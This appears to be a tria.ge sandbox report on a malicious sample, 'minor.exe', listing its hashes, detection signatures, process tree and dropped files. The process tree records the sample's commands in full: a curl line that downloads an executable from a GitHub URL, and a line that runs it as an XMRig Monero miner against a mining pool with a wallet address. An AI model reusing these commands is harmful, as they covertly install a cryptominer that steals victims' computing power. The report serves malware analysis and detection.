Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    2690s
  • max time network
    2699s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/04/2024, 12:37

General

  • Target

    minor.exe

  • Size

    5.3MB

  • MD5

    86aea8fe1b99b196c52bcdd2ff694661

  • SHA1

    258a811f758db8445811d26dc01bd73a950e486b

  • SHA256

    6d415e41fc403775530efce9799170862a82d280a7d7adf62d76eaa08c0df2a6

  • SHA512

    94bed31c18de74f293d4ac531070b3c82a1a01eea82e8b4999b6fd1dfe8a4b494cec01b89ea4f592a956086b7bf46fe65fb9df5f2eb16055ca22eb01d30fccdd

  • SSDEEP

    98304:MG9ExC3hEqwkgp7gRgr3A/S4gHg4fjBolfeKYwPkC4MBmdJl:598pZr3US4aggKheJfMB0J

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\minor.exe
    "C:\Users\Admin\AppData\Local\Temp\minor.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5020
    • C:\Users\Admin\AppData\Local\Temp\onefile_5020_133582633123530072\minor.exe
      "C:\Users\Admin\AppData\Local\Temp\minor.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Windows\system32\curl.exe
          curl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe
          4⤵
            PID:3908
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 46ZMzz8br9seCKvP1xjQFWQkhYQQpjTvZKwFJ7NUFPWNZim5v1kpD7F2jPCpzpXKqV7ifmeM9kMPQcH8iJXmEKdrDiuBViq -p minor -k"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2896
          • C:\Users\Admin\AppData\Local\Temp\driver.exe
            "C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 46ZMzz8br9seCKvP1xjQFWQkhYQQpjTvZKwFJ7NUFPWNZim5v1kpD7F2jPCpzpXKqV7ifmeM9kMPQcH8iJXmEKdrDiuBViq -p minor -k
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1064

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_bz2.pyd

      Filesize

      81KB

      MD5

      4101128e19134a4733028cfaafc2f3bb

      SHA1

      66c18b0406201c3cfbba6e239ab9ee3dbb3be07d

      SHA256

      5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80

      SHA512

      4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

    • C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_lzma.pyd

      Filesize

      154KB

      MD5

      337b0e65a856568778e25660f77bc80a

      SHA1

      4d9e921feaee5fa70181eba99054ffa7b6c9bb3f

      SHA256

      613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a

      SHA512

      19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

    • C:\Users\Admin\AppData\Local\Temp\driver.exe

      Filesize

      5.1MB

      MD5

      99aa369598e5d8eba59b7d0f0a8429f9

      SHA1

      7baaf6546112049038e4c62143ce7dd77c3a97c9

      SHA256

      8174ccc5cfae43503648608ba6ae14b00679517591a2cdff9017c4be2ab2996b

      SHA512

      3fdb8674033d6736bb548c262f54e1277c196fb83c3bfcc6dbe9b8bb126fb3f8404b6385f666b389e5ea84ab7261bcb65dddd88e39c53d3d0e6813dd9212c62f

    • C:\Users\Admin\AppData\Local\Temp\onefile_5020_133582633123530072\VCRUNTIME140.dll

      Filesize

      96KB

      MD5

      f12681a472b9dd04a812e16096514974

      SHA1

      6fd102eb3e0b0e6eef08118d71f28702d1a9067c

      SHA256

      d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

      SHA512

      7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

    • C:\Users\Admin\AppData\Local\Temp\onefile_5020_133582633123530072\minor.exe

      Filesize

      6.6MB

      MD5

      200fee01cf3de4da6bf580c14e1e77e6

      SHA1

      611dde1205e4d0ade3d83cd7c24b4471beb32fbd

      SHA256

      ceeea1d4ce20711bceca9919b1d203532fc2a5cacd11552205dd979df28175c1

      SHA512

      b0e492446c42e237701bb15929de7494e98556b1f8d54968b348610244ed6f34d9ec53bedf37b285f680dc6eb46cbb7518b8a89df5dad4a6aa27369be0b532fe

    • C:\Users\Admin\AppData\Local\Temp\onefile_5020_133582633123530072\python311.dll

      Filesize

      5.5MB

      MD5

      9a24c8c35e4ac4b1597124c1dcbebe0f

      SHA1

      f59782a4923a30118b97e01a7f8db69b92d8382a

      SHA256

      a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7

      SHA512

      9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

    • memory/1064-42-0x000001E4DCE90000-0x000001E4DCEB0000-memory.dmp

      Filesize

      128KB

    • memory/1064-54-0x000001E4DCEB0000-0x000001E4DCED0000-memory.dmp

      Filesize

      128KB

    • memory/1064-39-0x000001E4DCCF0000-0x000001E4DCD10000-memory.dmp

      Filesize

      128KB

    • memory/1064-49-0x000001E4DCEB0000-0x000001E4DCED0000-memory.dmp

      Filesize

      128KB

    • memory/4892-22-0x00007FF7B2D70000-0x00007FF7B341A000-memory.dmp

      Filesize

      6.7MB

    • memory/4892-41-0x00007FF7B2D70000-0x00007FF7B341A000-memory.dmp

      Filesize

      6.7MB

    • memory/5020-21-0x00007FF727AE0000-0x00007FF728051000-memory.dmp

      Filesize

      5.4MB